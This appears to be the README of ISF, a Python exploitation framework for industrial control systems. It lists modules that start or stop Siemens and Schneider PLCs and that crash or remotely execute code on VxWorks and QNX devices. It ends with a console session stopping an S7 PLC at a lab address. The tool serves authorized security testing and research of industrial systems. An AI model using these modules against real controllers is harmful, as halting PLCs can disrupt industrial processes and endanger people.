ISF(Industrial Exploitation Framework) is a exploitation framework based on Python, it's similar to metasploit framework.
ISF is based on open source project routersploit.
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Usage of ISF for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
| Name | Path | Description |
|---|---|---|
| modbus_tcp_client | icssploit/clients/modbus_tcp_client.py | Modbus-TCP Client |
| wdb2_client | icssploit/clients/wdb2_client.py | WdbRPC Version 2 Client(Vxworks 6.x) |
| s7_client | icssploit/clients/s7_client.py | s7comm Client(S7 300/400 PLC) |
| Name | Path | Description |
|---|---|---|
| s7_300_400_plc_control | exploits/plcs/siemens/s7_300_400_plc_control.py | S7-300/400 PLC start/stop |
| s7_1200_plc_control | exploits/plcs/siemens/s7_1200_plc_control.py | S7-1200 PLC start/stop/reset |
| vxworks_rpc_dos | exploits/plcs/vxworks/vxworks_rpc_dos.py | Vxworks RPC remote dos（CVE-2015-7599） |
| quantum_140_plc_control | exploits/plcs/schneider/quantum_140_plc_control.py | Schneider Quantum 140 series PLC start/stop |
| crash_qnx_inetd_tcp_service | exploits/plcs/qnx/crash_qnx_inetd_tcp_service.py | QNX Inetd TCP service dos |
| qconn_remote_exec | exploits/plcs/qnx/qconn_remote_exec.py | QNX qconn remote code execution |
| profinet_set_ip | exploits/plcs/siemens/profinet_set_ip.py | Profinet DCP device IP config |
| Name | Path | Description |
|---|---|---|
| profinet_dcp_scan | scanners/profinet_dcp_scan.py | Profinet DCP scanner |
| vxworks_6_scan | scanners/vxworks_6_scan.py | Vxworks 6.x scanner |
| s7comm_scan | scanners/s7comm_scan.py | S7comm scanner |
| enip_scan | scanners/enip_scan.py | EthernetIP scanner |
These protocol can used in other Fuzzing framework like Kitty or create your own client.
| Name | Path | Description |
|---|---|---|
| pn_dcp | icssploit/protocols/pn_dcp | Profinet DCP Protocol |
| modbus_tcp | icssploit/protocols/modbus_tcp | Modbus TCP Protocol |
| wdbrpc2 | icssploit/protocols/wdbrpc2 | WDB RPC Version 2 Protocol |
| s7comm | icssploit/protocols/s7comm.py | S7comm Protocol |
- gnureadline (OSX only)
- requests
- paramiko
- beautifulsoup4
- pysnmp
- python-nmap
- scapy We suggest install scapy manual with this official document
git clone https://github.com/dark-lbp/isf/ cd isf python isf.py root@kali:~/Desktop/temp/isf# python isf.py _____ _____ _____ _____ _____ _ ____ _____ _______ |_ _/ ____|/ ____/ ____| __ \| | / __ \_ _|__ __| | || | | (___| (___ | |__) | | | | | || | | | | || | \___ \\___ \| ___/| | | | | || | | | _| || |____ ____) |___) | | | |___| |__| || |_ | | |_____\_____|_____/_____/|_| |______\____/_____| |_| ICS Exploitation Framework Note : ICSSPOLIT is fork from routersploit at https://github.com/reverse-shell/routersploit Dev Team : wenzhe zhu(dark-lbp) Version : 0.1.0 Exploits: 2 Scanners: 0 Creds: 13 ICS Exploits: PLC: 2 ICS Switch: 0 Software: 0 isf > isf > use exploits/plcs/ exploits/plcs/siemens/ exploits/plcs/vxworks/ isf > use exploits/plcs/siemens/s7_300_400_plc_control exploits/plcs/siemens/s7_300_400_plc_control isf > use exploits/plcs/siemens/s7_300_400_plc_control isf (S7-300/400 PLC Control) > You can use the tab key for completion.
isf (S7-300/400 PLC Control) > show options Target options: Name Current settings Description ---- ---------------- ----------- target Target address e.g. 192.168.1.1 port 102 Target Port Module options: Name Current settings Description ---- ---------------- ----------- slot 2 CPU slot number. command 1 Command 0:start plc, 1:stop plc. isf (S7-300/400 PLC Control) > isf (S7-300/400 PLC Control) > set target 192.168.70.210 [+] {'target': '192.168.70.210'} isf (S7-300/400 PLC Control) > run [*] Running module... [+] Target is alive [*] Sending packet to target [*] Stop plc isf (S7-300/400 PLC Control) > isf (S7-300/400 PLC Control) > show info Name: S7-300/400 PLC Control Description: Use S7comm command to start/stop plc. Devices: - Siemens S7-300 and S7-400 programmable logic controllers (PLCs) Authors: - wenzhe zhu <jtrkid[at]gmail.com> References: isf (S7-300/400 PLC Control) >